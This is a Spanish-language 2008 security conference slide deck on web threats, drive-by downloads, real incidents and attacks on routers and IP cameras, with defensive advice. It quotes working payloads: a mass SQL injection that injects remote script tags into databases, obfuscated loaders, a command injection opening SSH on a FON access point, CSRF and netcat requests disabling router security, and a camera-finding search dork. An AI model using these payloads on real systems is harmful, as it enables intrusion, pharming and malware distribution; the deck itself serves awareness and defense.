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Ponente

• Raúl Siles 
• GSE 
• Consultor de seguridad independiente
• Miembro del Honeynet Project (SHP)

– www.honeynet.org

• Miembro del Internet Storm Center (ISC)
– isc.sans.org

• Instructor del SANS…
www.raulsiles.com
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Índice

• Evolución de las amenazas e incidentes 
en Internet
– Papel de los servidores y aplicaciones 
Web en los ataques a usuarios finales

• Vulnerabilidades, exploits e incidentes 
en aplicaciones Web

• El siguiente objetivo…
– Dispositivos embebidos
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Evolución de las amenazas e 
incidentes en Internet
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Hace mucho, mucho tiempo…
… en una Internet muy lejana

Ataques 
directos: 
servicios

E-mail

Servidores

Múltiples 
servicios:

Clientes
Firewalls routers 
y NAT

Firewalls
personales

Filtros e-mail y 
concienciación

Firewalls

DNS, FTP, RPCs…
Web: defacements

¡Fama!
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Hoy en día…

Servidores
Web

Clientes

Bots (StormWorm) 
& RBN (China) ¡$$$$$$$$$ y €!

Ataques Web 
(80 y 443)

Firewalls

Web: intermediario

Ataques vía Web

E-mailAtaques 
dirigidos

TheTheTheThe WildWildWildWild Wide Wide Wide Wide WestWestWestWest (WWW)(WWW)(WWW)(WWW)
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Vectores de entrada de código 
malicioso

• Diskettes y CD’s ☺

• E-mail, IM, P2P, etc:
– Desde un e-mail o IM… ¡nunca!, 
¿verdad?

– P2P: canciones, salvapantallas, etc

• Drive-by downloads
– La Web
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Drive-by downloads

• Software (malware) descargado desde 
el ordenador sin la intervención o el 
conocimiento del usuario

• Simplemente por visitar una página 
Web
– Sin pulsar explícitamente en un enlace

• Explota vulnerabilidades en el 
navegador o sus extensiones, software 
asociado (Adobe Reader, Flash…), 
software cliente, o el SO (y librerías)
– ¿Situación en los últimos 6 meses?
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Adobe Reader (PDF)

Ago 07 Oct 07        Feb 08

8.1.2

8.1.1
http://isc.sans.org/diary.html?storyid=3531

http://isc.sans.org/diary.html?storyid=3958

8.1.28.1.28.1.28.1.2

8.1

¿Qué pasa con 
Adobe Reader

7.0.x?
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Java 6 (JRE)

Oct 07 Ene 08        Mar 08

J6U5

J6U4
http://isc.sans.org/diary.html?storyid=3829

http://blogs.zdnet.com/security/?p=933

J6U5J6U5J6U5J6U5

J6U3

¡Qué pasa con Java 5 Ux, 
y Java 1.4.x, 1.3.x…?
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Quick Time

Nov 07   Dec 07  Jan 08     Feb 08

7.4.1

7.4

http://isc.sans.org/diary.html?
storyid=3618

http://isc.sans.org/diary.html?storyid=3955

7.4.17.4.17.4.17.4.1

7.3.1

http://isc.sans.org/diary.html?storyid=3852

7.3

http://isc.sans.org/diary.html?storyid=3746

No disponibles 
automáticamente 

en Windows
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Firefox

Oct 07      Nov 07     Dic 07        Feb 08

2.0.0.12

2.0.0.11
http://isc.sans.org/diary.html?storyid=3709

http://isc.sans.org/diary.html?storyid=3952

2.0.0.122.0.0.122.0.0.122.0.0.12

2.0.0.10

http://isc.sans.org/diary.html?
storyid=3603 & 3694

2.0.0.9

2.0.0.8
http://isc.sans.org/diary.html?
storyid=3518

¡Gracias a las 
actualizaciones 
automáticas!
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Y muchos más…

Oct 07 Ene 08        Mar 08

No hay parche…

Real Player:

http://isc.sans.org/diary.html?storyid=3519 & 3528   3810                  4120

Parche para 10.5 y 11.x

¡Vulnerabilidades de 
seguridad y exploits para 

todos ellos!... y más

MS Excel:

http://isc.sans.org/diary.html?storyid=3854

Sin parche

MS08-14

Has actualizado todo tu software, ¿verdad? �
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Drive-By…

• Adobe Reader
• Quick Time
• Java
• MS Office

– Word, Excel, 
PowerPoint, etc

• RealPlayer
• Skype
• iTunes

• Adobe Flash
• Navegador

– Firefox, IE, Safari, etc
• Lector correo

– Outlook, Thunderbird, etc
• Clientes IM
• VLC, MediaPlayer, etc
• WinZIP
• WinRAR

Llevo un navegador dentro de mí ☺
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Mpack:
Web, malware, botnets, etc

Mpack, Icepack, Webattacker…



Amenazas e incidentes de seguridad en entornos Web © 2008 Raúl Siles 16

Incidentes de seguridad Web
The Honeynet Project

http://www.honeynet.org/papers/webapp/, /mws & /wek
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Seguridad en aplicaciones Web
Problemática

• Públicamente disponibles y gran ubicuidad
• Puertos: ¿Utilidad de los firewalls?

– TCP 80 (HTTP) y 443 (HTTPS)

• HTTP es un protocolo complejo que permite procesar
datos del usuario

• Web 2.0: + complejidad
• Técnicas de ataque sencillas
• Anonimato de Internet (proxies anónimos)
• Código propietario y (probablemente) no verificado
• ¡En busca de dinero! (E-commerce)
• Cambio constante del código, ¿versiones?

¿Cuál es la versión actual de tu aplicación Web? ¿2.9.905?
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Vulnerabilidades, exploits e 
incidentes en aplicaciones Web
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Vulnerabilidades Web
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Vulnerabilidades
Prioridades y estadísticas

• OWASP Top 10: 
– Fallos, vulnerabilidades y amenazas de 
seguridad más críticas en aplicaciones 
Web

– Lista ordenada por criticidad
• Algunas ausentes en 2007:

– Ataques a ciegas (inyección SQL y Xpath), 
o inyección en LDAP

• Cambio de prioridades en 2008:
– CSRF, XSS, inyección, etc

http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf
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OWASP Top 10

• A1 – Cross Site Scripting (XSS)
• A2 – Ataques de inyección
• A3 – Ejecución de ficheros y código malicioso
• A4 – Referencias directas a objetos inseguras
• A5 – Cross Site Request Forgery (CSRF)
• A6 – Filtrado de información y gestión incorrecta de 

errores
• A7 – Autentificación y gestión de sesiones
• A8 – Almacenamiento criptográfico inseguro
• A9 – Comunicaciones inseguras
• A10 – Fallo al restringir el acceso a URLs

2008: Cross-Site “lo que sea”
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Web Application Security 
Statistics - 2006

http://www.webappsec.org/projects/statistics/ (WASC)
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SANS Top 20

• Riesgos de seguridad (2007)

• Vulnerabilidades en servidores
– S.1 Aplicaciones Web

– Vuln. en aplicaciones 
Web comerciales u 
open-source

– ¿Aplicaciones propietarias?

http://www.sans.org/top20/

EEEEjjjjeeeemmmmpppplllloooossss    
ccccaaaaddddaaaa    

sssseeeemmmmaaaannnnaaaa
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Exploits Web
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Exploits: aplicaciones Web

Core Impact 7.5: Aplicaciones Web
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Incidentes de seguridad Web
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Incidentes: ¿Dónde (no) está la 
amenaza en la Web?

• Servidores Web maliciosos
– Servidores Web y equipos de usuarios

• Servidores Web con mala reputación
– Software pirata y nº. serie, porno, drogas, apuestas, etc

• Servidores Web comprometidos
• Servidores de Web hosting compartido
• Servidores Web publicando contenido malicioso de 3º’s

– Anuncios (Ads), contadores…; relaciones entre compañías

• Servidores Web publicando contenido de los usuarios 
(Web 2.0)
– eBay, foros, blogs (tema candente), etc
– Comunidades en línea: Youtube, Myspace, Facebook, etc

• Buscadores Web (SEO)
¡Navega sólo a sitios Web de confianza! ☺ ~ 10% es malicioso
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¿Web defacements en 2008?

http://www.zone-h.org
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Super Bowl XLI 
Web de Miami Dolphin Stadium

• Febrero 2007
– dolphinstadium.com

• Vulnerabilidad: 
– Inyección SQL en Dreamweaver
– Ausencia de validación de entrada en el código 
vulnerable (según cada aplicación Web)

– Contenidos de la Web almacenados en BD

• Exploits: 
– MS06-014 (MDAC) y MS07-004 (VML) 
– Instalación de keylogger/backdoor: w1c.exe (WoW)

http://www.websense.com/securitylabs/alerts/alert.php?AlertID=733
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• Muchos más sitios comprometidos:
– Ataques dirigidos: hospitales, apuestas, etc

• Muchos más sitios Web sirviendo scripts
– 3.js (ene’07), 1.js (dic’06), 8.js (feb’07), etc
– Google (~200K enlaces)

• Estar en el sitio adecuado en el momento 
justo: ¿nº. visitantes?

Super Bowl XLI (2)
Web de Miami Dolphin Stadium

<script src=“http://dv521.com/3.js></script>

http://isc.sans.org/diary.html?storyid=2166 & 2178 & 2187…
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India Times

• ¿Web fiable? www.indiatimes.com
• Noviembre 2007 (WHID 2007-85)
• 464 ficheros maliciosos desde18 IP’s

– Binarios, scripts, cookies, Flash, imágenes, etc

• Exploits sobre vulnerabilidades en Windows 
(ej. MDAC MS06-14) - MSF

�Detección mínima por parte de los AV 
(www.wirustotal.com)

�Vulnerabilidad: ¡desconocida ¿públicamente?!

http://www.theregister.co.uk/2007/11/10/india_times_under_attack/

BankBankBankBank ooooffff
IIIInnnnddddiiiiaaaa    
SepSepSepSep’’’’00007777
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MySpace: Nuevo XSS

• MySpace: Comunidad en línea
– Filtrado de la entrada del usuario en el portal, al 
editar el perfil del usuario

• Versión móvil: mobile.myspace.com
– Diciembre 2007 (nueva vulnerabilidad)
– Filtrado de la salida del usuario, al mostrar el 
contenido del perfil

• Inserción de Javascript/HTML en la versión 
móvil para atacar a los usuarios del portal
– Cuando se arregle, ¿qué pasa con 
los perfiles ya contaminados?
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Robot de inyección SQL masiva

• Diciembre 2007
– Último incidente de 2007, primero de 2008
– WHID 2007-82

• 70.000 sitios Web comprometidos
• Inyección SQL automática

– Script automático o robot (~ gusano)
• Inyección SQL genérica

– IIS y MS SQL Server
– POST /my.asp?s=300’<código SQL>…

http://www.webappsec.org/projects/whid/byid_id_2007-82.shtml
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Robot de inyección SQL masiva 
(2)

• Redirección de los usuarios a una Web 
con malware – infección masiva

• Inserta redirección a “uc8010.com”
(China) en cada registro de tipo 
VARCHAR

• Restaurar la base de datos, ¿backup?
• La Web maliciosa explota una 
vulnerabilidad en Real Player para la que 
no hay parche:

http://isc.sans.org/diary.html?storyid=3810 

<script src="http://c.uc8010.com/0.js"></script> 
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Robot de inyección SQL masiva 
(3)

• Inyección SQL ofuscada:

• CAST: Conversión entre tipos (@S=…;)

http://isc.sans.org/diary.html?storyid=3823 

GET /home/site_content_3.asp? 

s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST

(0x640065…03B00%20AS%20NVARCHAR(4000));EXEC(@S);--

declare @m varchar(8000);set @m='';select 

@m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+

'))+''<script src="http://yl18.net/0.js"></script>'';'

from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id

and a.xtype='U' and b.xtype=c.xtype and c.name='varchar';

set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set 

@m=REVERSE(@m);exec(@m);

Para todas las tablas de usuario (U), buscar las 
columnas de tipo VARCHAR y hacer un UPDATE 

de la fila, añadiendo “<script>…</script>”
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Primer enlace: “Voy a tener suerte” ☺

Buscadores Web (SEO)
www.stopbadware.org

Buscador WebBuscador WebBuscador WebBuscador Web
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SPAM & Phising
¿nadie pica, no?

http://0xd3.0x23.0x31e6/.clientes.ibercaja.es/Login_asp.htm

http://211.35.49.230

Se contratan traductores: ¡Razón aquí!

Última semana 
febrero 08:
• IberCaja
• La Caixa
• Openbank
• Cajamadrid
• Santander …

¿Y los filtros 
anti-SPAM y 
anti-phising?
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Objetivos económicos en los 
incidentes Web

• Información confidencial de la Web
• Web de comercio online

– Tienda, compra/venta, subastas, etc
– Tarjetas de crédito 

• Ataques sobre los usuarios
– Juegos online: War of Warcraft (WoW)
– Alquiler de Botnets

• SPAM, DoS, phising, spear phising (dirigido), etc

– Credenciales: keyloggers
Defacements clásicos vs. Defacements silenciosos (~ malware)
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Ofuscación de scripts y 
redirecciones

• Petición inicial no maliciosa:

<iframe src="http://yyy.com/q.htm" 

width="0" height="0" scrolling="no“

frameborder="0"></iframe>

<script src=“http://xxx.com/0.js></script>
GET / …

<script>function 57..8E(DE..2D){

function 1030(){return 2;}

var 94..E6="";

for(3C..03=0;D0..03<CB..2D.length; 

D0..60+=DA..97()){

EA..E6+=(String.fromCharCode(E4..13 

(DE..2D.substr(D0..03,DA..30()))));

}

document.write(EA..E6);} </script>

<img src="http://zzz.com/2.js" 

width="0" height="0" border="0"></img>

Finalmente código: PHP, JavaScript, Flash, EXE, Java...

Ejemplos:

Hasta 8 
niveles

Múltiples 
veces

IIIIDDDDSSSS,,,,    AAAAVVVV,,,,    
ananananáááálllliiiissssiiiissss    
mmmmaaaallllwwwwaaaarrrreeee    

…………
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Incidentes Web - WHID

• WASC Web Hacking Incidents 
Database (WHID)

• Incidentes publicados en los medios
– ¿Cuántos incidentes se mantienen en 
secreto?

• Centrado en ataques dirigidos
• Identificadores únicos (WHID año-nº)

– Años: 1999-2008
– Clasificación: método de ataque, país, etc

http://www.webappsec.org/projects/whid/
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WHID 2007-43 (España)
Web del Ministerio de la Vivienda
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XSSed

www.xssed.com & www.xssing.com
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Defensas
Actualizaciones de SW cliente

• Heterogeneidad de las aplicaciones cliente
• Actualizaciones no disponibles (aunque están)

– Quick Time 7.X.1, Java 6 U4, etc
• Versiones previas aún instaladas:Java
• Permisos de administrador (chequeo)

– Adobe Reader, Thunderbird, MS updates
(manuales), etc

• Mecanismo eficiente y eficaz de 
actualizaciones automáticas
– Ej. Firefox
– Reiniciar aplicación y/o sistema: ¡hibernación!

http://isc.sans.org/diary.html?storyid=3982 & 3988
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Defensas 
Aplicaciones Web

• Administradores y desarrolladores
• Formación
• Web Application Security Scanners (WASS)
• Web Application Firewalls (WAF)
• Auditorías de seguridad

– Caja negra: prueba de intrusión
– Caja blanca: revisión de código

• Bloquear las URLs conocidas qué contienen el 
código malicioso (scripts)
– Al menos detectarlas en los logs
– Mucha gente se entera demasiado tarde

• Respuesta ante incidentes

http://radajo.blogspot.com/2007/04/writing-secure-code-root-cause-of.html

2117966.2117966.2117966.2117966.nnnneeeetttt
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Defensas 
Entornos Web… ¡TODOS!

• Servidor Web corporativo y público
• Servidores Web para terceros (públicos)

– Partners, proveedores, clientes, etc

• Los 1001 servidores Web internos
• Servidores Web de aplicaciones

– Citrix, SharePoint, VNC, etc

• Servidores Web de administración
• Dispositivos embebidos…

¿EL servidor Web?
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El siguiente objetivo…

Dispositivos embebidos
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¿Qué tienen todos ellos en 
común?

Un dueño, una IP… y un servidor / aplicación Web ☺
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Ataques Web sobre dispositivos 
embebidos

Usuario / 
Admin

Dispositivo 
embebido

Atacante

Preparación de la 
petición Web 

maliciosa para el 
dispositivo embebido

Ejecución de la acción en la 
Web del dispositivo             

(Ej.-cambio de configuración)
Petición 

preparada por 
el atacante

1

3

Internet

2

Red 
inalámbrica

2
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Ataques Web sobre dispositivos 
embebidos (2)

Usuario / 
Admin

Dispositivo 
embebido

Servidor Web malicioso

Generación y 
publicación del código 
malicioso (petición al 
dispositivo embebido)

Autentificación 
(o ausencia de autentificación)

Acceso a URL maliciosa que 
contiene la referencia a la 
Web del dispositivo y los 
parámetros adecuados

Ejecución de la acción en la 
Web del dispositivo             

(Ej.-cambio de configuración)
Petición preparada por el atacante

4

1

3

2
5

Internet

LAN
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Inyección de comandos
La Fonera - FON

• Punto de acceso (WiFi hotspot)

• Interfaz Web de administración 
vulnerable a inyección de comandos

• Habilitar acceso por SSH - OpenWRT

• FON v0.7.1-r1 (no FON+)

<form method="post" action="http://192.168.10.1/cgi-

bin/webif/connection.sh“ enctype="multipart/form-data">

<input name="username" value="$(/usr/sbin/iptables -I INPUT 

1 -p tcp --dport 22 –j ACCEPT)" size="68" >

http://pauldotcom.com/wiki/index.php/Episode84
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Ausencia de autentificación y CSRF 
Router 2wire

• Routers xDSL más populares en Méjico
– 1701HG, 1800HW, 2071 Gateway

• Por defecto no tiene clave (gracias ISP)
• Múltiples comandos posibles:

– Añadir entrada de DNS estática

– Cambiar la clave del dispositivo, deshabilitar 
seguridad WiFi, modificar el firewall, etc

http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE

=J38_SET&NAME=www.banco.com&ADDR=1.2.3.4

http://securityvulns.com/Rdocument808.html
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Ausencia de autentificación
Linksys WRT54G

• Punto acceso WiFi más popular
– WRT54Gv5 v1.00.9 (Ago 2006)

• Los métodos POST no requieren 
autentificación (usuario y clave) – GET sí!
$ nc 192.168.1.1 80

POST /Security.tri

Content-Length: 24 

SecurityMode=0&layout=en

http://www.wirelessve.org/entries/show/WVE-2007-0005
http://archives.neohapsis.com/archives/fulldisclosure/2006-08/0122.html

Deshabilitar 
seguridad WiFi
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Cámaras IP
Axis 2100

• Firmware <= 2.43
• CSRF global (acciones administrativas)
• XSS persistente: configuración de red, ver vídeo y 

página de logs (añadir cuenta administración)
– Redirección o modificación de la grabación de vídeo
– Punto intermedio de ataques internos

• XSS no persistente en errores de tipo 404
• Empleadas como cámaras de seguridad
• Identificación de víctimas:

– Visual (acceso físico)
– Google Hacking (2560 el 13/02/2008)
– intitle:"Live View / - AXIS" | inurl:view/view.shtml^

http://www.procheckup.com/Vulnerability_Axis_2100_research.pdf

BT BT BT BT HomeHomeHomeHome HHHHuuuubbbb
IIIImmmmpppprrrreeeessssoooorrrraaaassss    

VVVVooooIIIIPPPP

............
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Ataques sobre dispositivos embebidos

• Deshabilitar medidas de seguridad
– WiFi: captura e inyección de tráfico
– Firewall hacia Internet: ataques a los equipos internos
– Habilitar puerta trasera para controlar el dispositivo 

remotamente

• Punto intermedio para otros ataques
• Robo de credenciales

– VoIP, DynDNS, banco, etc

• Captura de las conversaciones de VoIP
� Modificación de DNS (Pharming)

– Phising, ataques MiTM, etc

� Reemplazar el firmware (a medida)

¡¡Ataques sólo limitados por la imaginación del atacante…!!
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Drive-by Pharming

• Symantec - Febrero 2007
– Ataques activos en enero de 2008
– 2wire (Méjico): E-card (mail) a gusanito.com
– <img> en mail con HTTP GET al router

• Visitar una página Web maliciosa conlleva 
la reconfiguración del router (CSRF)
– Cambio de los servidores DNS

• Phising, MitM, etc
http://www.symantec.com/enterprise/security_response/weblog/20

08/01/driveby_pharming_in_the_wild.html
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Reemplazar el Firmware

• Dispositivos basados en Linux
– Windows: kioskos (aeropuertos), cajeros, etc

• Siguiente pesadilla…
– Servidores Web explotando vulnerabilidades              
en dispositivos embebidos y distribuyendo          
nuevas imágenes de firmware (a medida)

– ¡0wn3d!

• Hasta dónde se puede llegar
– “Linksys WRT54G Ultimate Hacking”

http://radajo.blogspot.com/2007/06/linksys-wrt54g-ultimate-hacking-
book.html
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Hoy y en el futuro…

Ataques vía Web

Servidores
Web

Ataques Web 
(80 y 443)

Clientes y disp. embebidos

Firewalls

Bots (Clientes y 
disp. embebidos)

¡$$$$$$$$$ y €!
Web: intermediario

E-mailAtaques 
dirigidos
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Dispositivos embebidos: 
¿puede ser peor?

• ¡Hacking en los 90!
• Challenge (Febrero 08)

– Generar concienciación
– No sólo de vuln. Web

• Claves por defecto: fabricante o telco
– No es el objetivo

• Ejemplos: Authentication bypass, 
CSRF,  XSS… o todos a la vez

http://www.gnucitizen.org/projects/router-hacking-challenge/

http://www.0x000000.com/index.php?i=524



Amenazas e incidentes de seguridad en entornos Web © 2008 Raúl Siles 60

Defensas - Ataques Web y 
dispositivos embebidos

• Vendedores de los dispositivos
– Solucionar todas las vulnerabilidades del servidor Web (et.al.)

• Depuración compleja: JTAG
• No es excusa para las aplicaciones Web (Linux)

• ¡Actualizar el firmware! ¿lo has hecho alguna vez?
• Evitar configuraciones por defecto

– Dirección IP y red, usuario y clave, etc
• Restringir el acceso al interfaz de administración (filtros por IP)
• Detección: logging remoto (Syslog)
• Extensión Firefox: NoScript – CSRF y XSS
• Navegación exclusiva a sitios críticos

– Usar dos navegadores (o VM’s) - ¡Pestañas!
• Red separada para dispositivos embebidos
• ¡Deshabilitar el interfaz Web (SSH)!

Queda mucho por hacer…
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Referencias

• “Web 2.0 Hacking”
– http://www.gnucitizen.org/blog/for-my-next-
trick-hacking-web20

• “The ghost in the browser: analysis of 
web-based malware”
– http://www.usenix.org/events/hotbots07/tec
h/full_papers/provos/provos.pdf

• “Trends in badware 2007”
– http://www.stopbadware.org/pdfs/trends_in
_badware_2007.pdf

Referencias durante toda la presentación, más…
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Referencias (2)

• Libro "Linksys WRT54G Ultimate Hacking“
(http://wrt54ghacks.com)

• Insecure Magazine – Nº 14
– http://insecuremag.com

• “Embedded Device (In)Security”
– http://www.pauldotcom.com/2008/01/27/pauldotcom_securit

y_weekly_spe_14.html

• GNUCitizen: www.gnucitizen.org
– http://www.gnucitizen.org/blog/security-and-hacking-scene-

in-london/

• “Drive-By Pharming”
– http://www.symantec.com/avcenter/reference/Driveby_Phar

ming.pdf
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Realidad o ficción…
¡¡Muchas gracias!!

• Raul Siles

www.raulsiles.com

raul@raulsiles.com

www.raulsiles.comwww.raulsiles.comwww.raulsiles.comwww.raulsiles.com


